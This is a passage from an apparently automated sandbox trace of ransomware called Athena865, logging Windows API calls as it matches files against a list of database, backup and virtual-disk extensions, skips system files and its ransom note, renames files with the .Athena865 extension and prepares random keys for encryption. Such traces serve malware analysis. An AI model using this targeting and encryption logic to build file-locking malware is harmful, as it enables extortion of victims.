(lpString="dbs") returned 3 [0100.048] lstrcmpiW (lpString1="nfo", lpString2="dbs") returned 1 [0100.048] lstrlenW (lpString="dbt") returned 3 [0100.048] lstrcmpiW (lpString1="nfo", lpString2="dbt") returned 1 [0100.048] lstrlenW (lpString="dbv") returned 3 [0100.048] lstrcmpiW (lpString1="nfo", lpString2="dbv") returned 1 [0100.048] lstrlenW (lpString="dbx") returned 3 [0100.048] lstrcmpiW (lpString1="nfo", lpString2="dbx") returned 1 [0100.048] lstrlenW (lpString="dcb") returned 3 [0100.048] lstrcmpiW (lpString1="nfo", lpString2="dcb") returned 1 [0100.048] lstrlenW (lpString="dct") returned 3 [0100.048] lstrcmpiW (lpString1="nfo", lpString2="dct") returned 1 [0100.048] lstrlenW (lpString="dcx") returned 3 [0100.048] lstrcmpiW (lpString1="nfo", lpString2="dcx") returned 1 [0100.048] lstrlenW (lpString="ddl") returned 3 [0100.048] lstrcmpiW (lpString1="nfo", lpString2="ddl") returned 1 [0100.049] lstrlenW (lpString="dlis") returned 4 [0100.049] lstrcmpiW (lpString1="Info", lpString2="dlis") returned 1 [0100.049] lstrlenW (lpString="dp1") returned 3 [0100.049] lstrcmpiW (lpString1="nfo", lpString2="dp1") returned 1 [0100.049] lstrlenW (lpString="dqy") returned 3 [0100.049] lstrcmpiW (lpString1="nfo", lpString2="dqy") returned 1 [0100.049] lstrlenW (lpString="dsk") returned 3 [0100.049] lstrcmpiW (lpString1="nfo", lpString2="dsk") returned 1 [0100.049] lstrlenW (lpString="dsn") returned 3 [0100.049] lstrcmpiW (lpString1="nfo", lpString2="dsn") returned 1 [0100.049] lstrlenW (lpString="dtsx") returned 4 [0100.049] lstrcmpiW (lpString1="Info", lpString2="dtsx") returned 1 [0100.049] lstrlenW (lpString="dxl") returned 3 [0100.049] lstrcmpiW (lpString1="nfo", lpString2="dxl") returned 1 [0100.049] lstrlenW (lpString="eco") returned 3 [0100.049] lstrcmpiW (lpString1="nfo", lpString2="eco") returned 1 [0100.049] lstrlenW (lpString="ecx") returned 3 [0100.049] lstrcmpiW (lpString1="nfo", lpString2="ecx") returned 1 [0100.049] lstrlenW (lpString="edb") returned 3 [0100.049] lstrcmpiW (lpString1="nfo", lpString2="edb") returned 1 [0100.049] lstrlenW (lpString="epim") returned 4 [0100.049] lstrcmpiW (lpString1="Info", lpString2="epim") returned 1 [0100.049] lstrlenW (lpString="fcd") returned 3 [0100.049] lstrcmpiW (lpString1="nfo", lpString2="fcd") returned 1 [0100.049] lstrlenW (lpString="fdb") returned 3 [0100.049] lstrcmpiW (lpString1="nfo", lpString2="fdb") returned 1 [0100.049] lstrlenW (lpString="fic") returned 3 [0100.049] lstrcmpiW (lpString1="nfo", lpString2="fic") returned 1 [0100.049] lstrlenW (lpString="flexolibrary") returned 12 [0100.049] lstrcmpiW (lpString1="wsUpdateInfo", lpString2="flexolibrary") returned 1 [0100.049] lstrlenW (lpString="fm5") returned 3 [0100.050] lstrcmpiW (lpString1="nfo", lpString2="fm5") returned 1 [0100.050] lstrlenW (lpString="fmp") returned 3 [0100.050] lstrcmpiW (lpString1="nfo", lpString2="fmp") returned 1 [0100.050] lstrlenW (lpString="fmp12") returned 5 [0100.050] lstrcmpiW (lpString1="eInfo", lpString2="fmp12") returned -1 [0100.050] lstrlenW (lpString="fmpsl") returned 5 [0100.050] lstrcmpiW (lpString1="eInfo", lpString2="fmpsl") returned -1 [0100.050] lstrlenW (lpString="fol") returned 3 [0100.050] lstrcmpiW (lpString1="nfo", lpString2="fol") returned 1 [0100.050] lstrlenW (lpString="fp3") returned 3 [0100.050] lstrcmpiW (lpString1="nfo", lpString2="fp3") returned 1 [0100.050] lstrlenW (lpString="fp4") returned 3 [0100.050] lstrcmpiW (lpString1="nfo", lpString2="fp4") returned 1 [0100.050] lstrlenW (lpString="fp5") returned 3 [0100.050] lstrcmpiW (lpString1="nfo", lpString2="fp5") returned 1 [0100.050] lstrlenW (lpString="fp7") returned 3 [0100.050] lstrcmpiW (lpString1="nfo", lpString2="fp7") returned 1 [0100.050] lstrlenW (lpString="fpt") returned 3 [0100.050] lstrcmpiW (lpString1="nfo", lpString2="fpt") returned 1 [0100.050] lstrlenW (lpString="frm") returned 3 [0100.050] lstrcmpiW (lpString1="nfo", lpString2="frm") returned 1 [0100.050] lstrlenW (lpString="gdb") returned 3 [0100.050] lstrcmpiW (lpString1="nfo", lpString2="gdb") returned 1 [0100.050] lstrlenW (lpString="gdb") returned 3 [0100.050] lstrcmpiW (lpString1="nfo", lpString2="gdb") returned 1 [0100.050] lstrlenW (lpString="grdb") returned 4 [0100.050] lstrcmpiW (lpString1="Info", lpString2="grdb") returned 1 [0100.050] lstrlenW (lpString="gwi") returned 3 [0100.050] lstrcmpiW (lpString1="nfo", lpString2="gwi") returned 1 [0100.050] lstrlenW (lpString="hdb") returned 3 [0100.051] lstrcmpiW (lpString1="nfo", lpString2="hdb") returned 1 [0100.051] lstrlenW (lpString="his") returned 3 [0100.051] lstrcmpiW (lpString1="nfo", lpString2="his") returned 1 [0100.051] lstrlenW (lpString="ib") returned 2 [0100.051] lstrcmpiW (lpString1="fo", lpString2="ib") returned -1 [0100.051] lstrlenW (lpString="idb") returned 3 [0100.051] lstrcmpiW (lpString1="nfo", lpString2="idb") returned 1 [0100.051] lstrlenW (lpString="ihx") returned 3 [0100.051] lstrcmpiW (lpString1="nfo", lpString2="ihx") returned 1 [0100.051] lstrlenW (lpString="itdb") returned 4 [0100.051] lstrcmpiW (lpString1="Info", lpString2="itdb") returned -1 [0100.051] lstrlenW (lpString="itw") returned 3 [0100.051] lstrcmpiW (lpString1="nfo", lpString2="itw") returned 1 [0100.051] lstrlenW (lpString="jet") returned 3 [0100.051] lstrcmpiW (lpString1="nfo", lpString2="jet") returned 1 [0100.051] lstrlenW (lpString="jtx") returned 3 [0100.051] lstrcmpiW (lpString1="nfo", lpString2="jtx") returned 1 [0100.051] lstrlenW (lpString="kdb") returned 3 [0100.051] lstrcmpiW (lpString1="nfo", lpString2="kdb") returned 1 [0100.051] lstrlenW (lpString="kexi") returned 4 [0100.051] lstrcmpiW (lpString1="Info", lpString2="kexi") returned -1 [0100.051] lstrlenW (lpString="kexic") returned 5 [0100.051] lstrcmpiW (lpString1="eInfo", lpString2="kexic") returned -1 [0100.051] lstrlenW (lpString="kexis") returned 5 [0100.051] lstrcmpiW (lpString1="eInfo", lpString2="kexis") returned -1 [0100.051] lstrlenW (lpString="lgc") returned 3 [0100.051] lstrcmpiW (lpString1="nfo", lpString2="lgc") returned 1 [0100.051] lstrlenW (lpString="lwx") returned 3 [0100.051] lstrcmpiW (lpString1="nfo", lpString2="lwx") returned 1 [0100.051] lstrlenW (lpString="maf") returned 3 [0100.051] lstrcmpiW (lpString1="nfo", lpString2="maf") returned 1 [0100.052] lstrlenW (lpString="maq") returned 3 [0100.052] lstrcmpiW (lpString1="nfo", lpString2="maq") returned 1 [0100.052] lstrlenW (lpString="mar") returned 3 [0100.052] lstrcmpiW (lpString1="nfo", lpString2="mar") returned 1 [0100.052] lstrlenW (lpString="marshal") returned 7 [0100.052] lstrcmpiW (lpString1="ateInfo", lpString2="marshal") returned -1 [0100.052] lstrlenW (lpString="mas") returned 3 [0100.052] lstrcmpiW (lpString1="nfo", lpString2="mas") returned 1 [0100.052] lstrlenW (lpString="mav") returned 3 [0100.052] lstrcmpiW (lpString1="nfo", lpString2="mav") returned 1 [0100.052] lstrlenW (lpString="maw") returned 3 [0100.052] lstrcmpiW (lpString1="nfo", lpString2="maw") returned 1 [0100.052] lstrlenW (lpString="mdbhtml") returned 7 [0100.052] lstrcmpiW (lpString1="ateInfo", lpString2="mdbhtml") returned -1 [0100.052] lstrlenW (lpString="mdn") returned 3 [0100.052] lstrcmpiW (lpString1="nfo", lpString2="mdn") returned 1 [0100.052] lstrlenW (lpString="mdt") returned 3 [0100.052] lstrcmpiW (lpString1="nfo", lpString2="mdt") returned 1 [0100.052] lstrlenW (lpString="mfd") returned 3 [0100.052] lstrcmpiW (lpString1="nfo", lpString2="mfd") returned 1 [0100.052] lstrlenW (lpString="mpd") returned 3 [0100.052] lstrcmpiW (lpString1="nfo", lpString2="mpd") returned 1 [0100.052] lstrlenW (lpString="mrg") returned 3 [0100.052] lstrcmpiW (lpString1="nfo", lpString2="mrg") returned 1 [0100.052] lstrlenW (lpString="mud") returned 3 [0100.052] lstrcmpiW (lpString1="nfo", lpString2="mud") returned 1 [0100.052] lstrlenW (lpString="mwb") returned 3 [0100.052] lstrcmpiW (lpString1="nfo", lpString2="mwb") returned 1 [0100.052] lstrlenW (lpString="myd") returned 3 [0100.052] lstrcmpiW (lpString1="nfo", lpString2="myd") returned 1 [0100.052] lstrlenW (lpString="ndf") returned 3 [0100.053] lstrcmpiW (lpString1="nfo", lpString2="ndf") returned 1 [0100.053] lstrlenW (lpString="nnt") returned 3 [0100.053] lstrcmpiW (lpString1="nfo", lpString2="nnt") returned -1 [0100.053] lstrlenW (lpString="nrmlib") returned 6 [0100.053] lstrcmpiW (lpString1="teInfo", lpString2="nrmlib") returned 1 [0100.053] lstrlenW (lpString="ns2") returned 3 [0100.053] lstrcmpiW (lpString1="nfo", lpString2="ns2") returned -1 [0100.053] lstrlenW (lpString="ns3") returned 3 [0100.053] lstrcmpiW (lpString1="nfo", lpString2="ns3") returned -1 [0100.053] lstrlenW (lpString="ns4") returned 3 [0100.053] lstrcmpiW (lpString1="nfo", lpString2="ns4") returned -1 [0100.053] lstrlenW (lpString="nsf") returned 3 [0100.053] lstrcmpiW (lpString1="nfo", lpString2="nsf") returned -1 [0100.053] lstrlenW (lpString="nv") returned 2 [0100.053] lstrcmpiW (lpString1="fo", lpString2="nv") returned -1 [0100.053] lstrlenW (lpString="nv2") returned 3 [0100.053] lstrcmpiW (lpString1="nfo", lpString2="nv2") returned -1 [0100.053] lstrlenW (lpString="nwdb") returned 4 [0100.053] lstrcmpiW (lpString1="Info", lpString2="nwdb") returned -1 [0100.053] lstrlenW (lpString="nyf") returned 3 [0100.053] lstrcmpiW (lpString1="nfo", lpString2="nyf") returned -1 [0100.053] lstrlenW (lpString="odb") returned 3 [0100.053] lstrcmpiW (lpString1="nfo", lpString2="odb") returned -1 [0100.053] lstrlenW (lpString="odb") returned 3 [0100.053] lstrcmpiW (lpString1="nfo", lpString2="odb") returned -1 [0100.053] lstrlenW (lpString="oqy") returned 3 [0100.053] lstrcmpiW (lpString1="nfo", lpString2="oqy") returned -1 [0100.053] lstrlenW (lpString="ora") returned 3 [0100.053] lstrcmpiW (lpString1="nfo", lpString2="ora") returned -1 [0100.053] lstrlenW (lpString="orx") returned 3 [0100.053] lstrcmpiW (lpString1="nfo", lpString2="orx") returned -1 [0100.054] lstrlenW (lpString="owc") returned 3 [0100.054] lstrcmpiW (lpString1="nfo", lpString2="owc") returned -1 [0100.054] lstrlenW (lpString="p96") returned 3 [0100.054] lstrcmpiW (lpString1="nfo", lpString2="p96") returned -1 [0100.054] lstrlenW (lpString="p97") returned 3 [0100.054] lstrcmpiW (lpString1="nfo", lpString2="p97") returned -1 [0100.054] lstrlenW (lpString="pan") returned 3 [0100.054] lstrcmpiW (lpString1="nfo", lpString2="pan") returned -1 [0100.054] lstrlenW (lpString="pdb") returned 3 [0100.054] lstrcmpiW (lpString1="nfo", lpString2="pdb") returned -1 [0100.054] lstrlenW (lpString="pdm") returned 3 [0100.054] lstrcmpiW (lpString1="nfo", lpString2="pdm") returned -1 [0100.054] lstrlenW (lpString="pnz") returned 3 [0100.054] lstrcmpiW (lpString1="nfo", lpString2="pnz") returned -1 [0100.054] lstrlenW (lpString="qry") returned 3 [0100.054] lstrcmpiW (lpString1="nfo", lpString2="qry") returned -1 [0100.054] lstrlenW (lpString="qvd") returned 3 [0100.054] lstrcmpiW (lpString1="nfo", lpString2="qvd") returned -1 [0100.054] lstrlenW (lpString="rbf") returned 3 [0100.054] lstrcmpiW (lpString1="nfo", lpString2="rbf") returned -1 [0100.054] lstrlenW (lpString="rctd") returned 4 [0100.054] lstrcmpiW (lpString1="Info", lpString2="rctd") returned -1 [0100.054] lstrlenW (lpString="rod") returned 3 [0100.054] lstrcmpiW (lpString1="nfo", lpString2="rod") returned -1 [0100.054] lstrlenW (lpString="rodx") returned 4 [0100.054] lstrcmpiW (lpString1="Info", lpString2="rodx") returned -1 [0100.054] lstrlenW (lpString="rpd") returned 3 [0100.054] lstrcmpiW (lpString1="nfo", lpString2="rpd") returned -1 [0100.054] lstrlenW (lpString="rsd") returned 3 [0100.054] lstrcmpiW (lpString1="nfo", lpString2="rsd") returned -1 [0100.054] lstrlenW (lpString="sas7bdat") returned 8 [0100.054] lstrcmpiW (lpString1="dateInfo", lpString2="sas7bdat") returned -1 [0100.055] lstrlenW (lpString="sbf") returned 3 [0100.055] lstrcmpiW (lpString1="nfo", lpString2="sbf") returned -1 [0100.055] lstrlenW (lpString="scx") returned 3 [0100.055] lstrcmpiW (lpString1="nfo", lpString2="scx") returned -1 [0100.055] lstrlenW (lpString="sdb") returned 3 [0100.055] lstrcmpiW (lpString1="nfo", lpString2="sdb") returned -1 [0100.055] lstrlenW (lpString="sdc") returned 3 [0100.055] lstrcmpiW (lpString1="nfo", lpString2="sdc") returned -1 [0100.055] lstrlenW (lpString="sdf") returned 3 [0100.055] lstrcmpiW (lpString1="nfo", lpString2="sdf") returned -1 [0100.055] lstrlenW (lpString="sis") returned 3 [0100.055] lstrcmpiW (lpString1="nfo", lpString2="sis") returned -1 [0100.055] lstrlenW (lpString="spq") returned 3 [0100.055] lstrcmpiW (lpString1="nfo", lpString2="spq") returned -1 [0100.055] lstrlenW (lpString="te") returned 2 [0100.055] lstrcmpiW (lpString1="fo", lpString2="te") returned -1 [0100.055] lstrlenW (lpString="teacher") returned 7 [0100.055] lstrcmpiW (lpString1="ateInfo", lpString2="teacher") returned -1 [0100.055] lstrlenW (lpString="tmd") returned 3 [0100.055] lstrcmpiW (lpString1="nfo", lpString2="tmd") returned -1 [0100.055] lstrlenW (lpString="tps") returned 3 [0100.055] lstrcmpiW (lpString1="nfo", lpString2="tps") returned -1 [0100.055] lstrlenW (lpString="trc") returned 3 [0100.055] lstrcmpiW (lpString1="nfo", lpString2="trc") returned -1 [0100.055] lstrlenW (lpString="trc") returned 3 [0100.055] lstrcmpiW (lpString1="nfo", lpString2="trc") returned -1 [0100.055] lstrlenW (lpString="trm") returned 3 [0100.055] lstrcmpiW (lpString1="nfo", lpString2="trm") returned -1 [0100.055] lstrlenW (lpString="udb") returned 3 [0100.055] lstrcmpiW (lpString1="nfo", lpString2="udb") returned -1 [0100.055] lstrlenW (lpString="udl") returned 3 [0100.055] lstrcmpiW (lpString1="nfo", lpString2="udl") returned -1 [0100.056] lstrlenW (lpString="usr") returned 3 [0100.056] lstrcmpiW (lpString1="nfo", lpString2="usr") returned -1 [0100.056] lstrlenW (lpString="v12") returned 3 [0100.056] lstrcmpiW (lpString1="nfo", lpString2="v12") returned -1 [0100.056] lstrlenW (lpString="vis") returned 3 [0100.056] lstrcmpiW (lpString1="nfo", lpString2="vis") returned -1 [0100.056] lstrlenW (lpString="vpd") returned 3 [0100.056] lstrcmpiW (lpString1="nfo", lpString2="vpd") returned -1 [0100.056] lstrlenW (lpString="vvv") returned 3 [0100.056] lstrcmpiW (lpString1="nfo", lpString2="vvv") returned -1 [0100.056] lstrlenW (lpString="wdb") returned 3 [0100.056] lstrcmpiW (lpString1="nfo", lpString2="wdb") returned -1 [0100.056] lstrlenW (lpString="wmdb") returned 4 [0100.056] lstrcmpiW (lpString1="Info", lpString2="wmdb") returned -1 [0100.056] lstrlenW (lpString="wrk") returned 3 [0100.056] lstrcmpiW (lpString1="nfo", lpString2="wrk") returned -1 [0100.056] lstrlenW (lpString="xdb") returned 3 [0100.056] lstrcmpiW (lpString1="nfo", lpString2="xdb") returned -1 [0100.056] lstrlenW (lpString="xld") returned 3 [0100.056] lstrcmpiW (lpString1="nfo", lpString2="xld") returned -1 [0100.056] lstrlenW (lpString="xmlff") returned 5 [0100.056] lstrcmpiW (lpString1="eInfo", lpString2="xmlff") returned -1 [0100.056] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo.Athena865") returned 113 [0100.056] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{4204ee1b-0338-4788-b199-d83e4955faf1}_windowsupdateinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{4204ee1b-0338-4788-b199-d83e4955faf1}_windowsupdateinfo.athena865"), dwFlags=0x1) returned 1 [0100.057] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{4204ee1b-0338-4788-b199-d83e4955faf1}_windowsupdateinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.058] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=376) returned 1 [0100.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0100.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0100.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0100.058] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.059] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.059] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.059] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x480, lpName=0x0) returned 0x154 [0100.061] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x480) returned 0x100000 [0100.062] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.062] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.062] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0100.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0100.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0100.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0100.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0100.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0100.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0100.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0100.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0100.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0100.063] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0100.063] CloseHandle (hObject=0x154) returned 1 [0100.063] CloseHandle (hObject=0x17c) returned 1 [0100.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0100.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0100.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0100.064] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xc6000600, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0xc6000600, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0xc60bece0, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo", cAlternateFileName="{42586~1")) returned 1 [0100.064] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.064] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.064] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo", lpString2=".") returned 1 [0100.064] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo", lpString2="..") returned 1 [0100.064] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo", lpString2="windows") returned -1 [0100.064] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo", lpString2="bootmgr") returned -1 [0100.064] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo", lpString2="temp") returned -1 [0100.064] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo", lpString2="pagefile.sys") returned -1 [0100.064] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo", lpString2="boot") returned -1 [0100.064] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo", lpString2="ids.txt") returned -1 [0100.064] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo", lpString2="ntuser.dat") returned -1 [0100.064] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo", lpString2="perflogs") returned -1 [0100.064] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo", lpString2="MSBuild") returned -1 [0100.064] lstrlenW (lpString="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo") returned 56 [0100.064] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo" | out: lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo") returned="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo" [0100.064] lstrlenW (lpString="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo") returned 56 [0100.064] lstrlenW (lpString="Athena865") returned 9 [0100.064] lstrcmpiW (lpString1="ckageInfo", lpString2="Athena865") returned 1 [0100.064] lstrlenW (lpString=".dll") returned 4 [0100.064] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo", lpString2=".dll") returned 1 [0100.064] lstrlenW (lpString=".lnk") returned 4 [0100.064] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo", lpString2=".lnk") returned 1 [0100.064] lstrlenW (lpString=".ini") returned 4 [0100.065] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo", lpString2=".ini") returned 1 [0100.065] lstrlenW (lpString=".sys") returned 4 [0100.065] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo", lpString2=".sys") returned 1 [0100.065] lstrlenW (lpString="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo") returned 56 [0100.065] lstrlenW (lpString="bak") returned 3 [0100.065] lstrcmpiW (lpString1="nfo", lpString2="bak") returned 1 [0100.065] lstrlenW (lpString="ba_") returned 3 [0100.065] lstrcmpiW (lpString1="nfo", lpString2="ba_") returned 1 [0100.065] lstrlenW (lpString="dbb") returned 3 [0100.065] lstrcmpiW (lpString1="nfo", lpString2="dbb") returned 1 [0100.065] lstrlenW (lpString="vmdk") returned 4 [0100.065] lstrcmpiW (lpString1="Info", lpString2="vmdk") returned -1 [0100.065] lstrlenW (lpString="rar") returned 3 [0100.065] lstrcmpiW (lpString1="nfo", lpString2="rar") returned -1 [0100.065] lstrlenW (lpString="zip") returned 3 [0100.065] lstrcmpiW (lpString1="nfo", lpString2="zip") returned -1 [0100.065] lstrlenW (lpString="tgz") returned 3 [0100.065] lstrcmpiW (lpString1="nfo", lpString2="tgz") returned -1 [0100.065] lstrlenW (lpString="vbox") returned 4 [0100.065] lstrcmpiW (lpString1="Info", lpString2="vbox") returned -1 [0100.065] lstrlenW (lpString="vdi") returned 3 [0100.065] lstrcmpiW (lpString1="nfo", lpString2="vdi") returned -1 [0100.065] lstrlenW (lpString="vhd") returned 3 [0100.065] lstrcmpiW (lpString1="nfo", lpString2="vhd") returned -1 [0100.065] lstrlenW (lpString="vhdx") returned 4 [0100.065] lstrcmpiW (lpString1="Info", lpString2="vhdx") returned -1 [0100.065] lstrlenW (lpString="avhd") returned 4 [0100.065] lstrcmpiW (lpString1="Info", lpString2="avhd") returned 1 [0100.065] lstrlenW (lpString="db") returned 2 [0100.065] lstrcmpiW (lpString1="fo", lpString2="db") returned 1 [0100.065] lstrlenW (lpString="db2") returned 3 [0100.066] lstrcmpiW (lpString1="nfo", lpString2="db2") returned 1 [0100.066] lstrlenW (lpString="db3") returned 3 [0100.066] lstrcmpiW (lpString1="nfo", lpString2="db3") returned 1 [0100.066] lstrlenW (lpString="dbf") returned 3 [0100.066] lstrcmpiW (lpString1="nfo", lpString2="dbf") returned 1 [0100.066] lstrlenW (lpString="mdf") returned 3 [0100.066] lstrcmpiW (lpString1="nfo", lpString2="mdf") returned 1 [0100.066] lstrlenW (lpString="mdb") returned 3 [0100.066] lstrcmpiW (lpString1="nfo", lpString2="mdb") returned 1 [0100.066] lstrlenW (lpString="sql") returned 3 [0100.066] lstrcmpiW (lpString1="nfo", lpString2="sql") returned -1 [0100.066] lstrlenW (lpString="sqlite") returned 6 [0100.066] lstrcmpiW (lpString1="geInfo", lpString2="sqlite") returned -1 [0100.066] lstrlenW (lpString="sqlite3") returned 7 [0100.066] lstrcmpiW (lpString1="ageInfo", lpString2="sqlite3") returned -1 [0100.066] lstrlenW (lpString="sqlitedb") returned 8 [0100.066] lstrcmpiW (lpString1="kageInfo", lpString2="sqlitedb") returned -1 [0100.066] lstrlenW (lpString="xml") returned 3 [0100.066] lstrcmpiW (lpString1="nfo", lpString2="xml") returned -1 [0100.066] lstrlenW (lpString="$er") returned 3 [0100.066] lstrcmpiW (lpString1="nfo", lpString2="$er") returned 1 [0100.066] lstrlenW (lpString="4dd") returned 3 [0100.066] lstrcmpiW (lpString1="nfo", lpString2="4dd") returned 1 [0100.066] lstrlenW (lpString="4dl") returned 3 [0100.066] lstrcmpiW (lpString1="nfo", lpString2="4dl") returned 1 [0100.066] lstrlenW (lpString="^^^") returned 3 [0100.066] lstrcmpiW (lpString1="nfo", lpString2="^^^") returned 1 [0100.066] lstrlenW (lpString="abs") returned 3 [0100.066] lstrcmpiW (lpString1="nfo", lpString2="abs") returned 1 [0100.066] lstrlenW (lpString="abx") returned 3 [0100.066] lstrcmpiW (lpString1="nfo", lpString2="abx") returned 1 [0100.067] lstrlenW (lpString="accdb") returned 5 [0100.067] lstrcmpiW (lpString1="eInfo", lpString2="accdb") returned 1 [0100.067] lstrlenW (lpString="accdc") returned 5 [0100.067] lstrcmpiW (lpString1="eInfo", lpString2="accdc") returned 1 [0100.067] lstrlenW (lpString="accde") returned 5 [0100.067] lstrcmpiW (lpString1="eInfo", lpString2="accde") returned 1 [0100.067] lstrlenW (lpString="accdr") returned 5 [0100.067] lstrcmpiW (lpString1="eInfo", lpString2="accdr") returned 1 [0100.067] lstrlenW (lpString="accdt") returned 5 [0100.067] lstrcmpiW (lpString1="eInfo", lpString2="accdt") returned 1 [0100.067] lstrlenW (lpString="accdw") returned 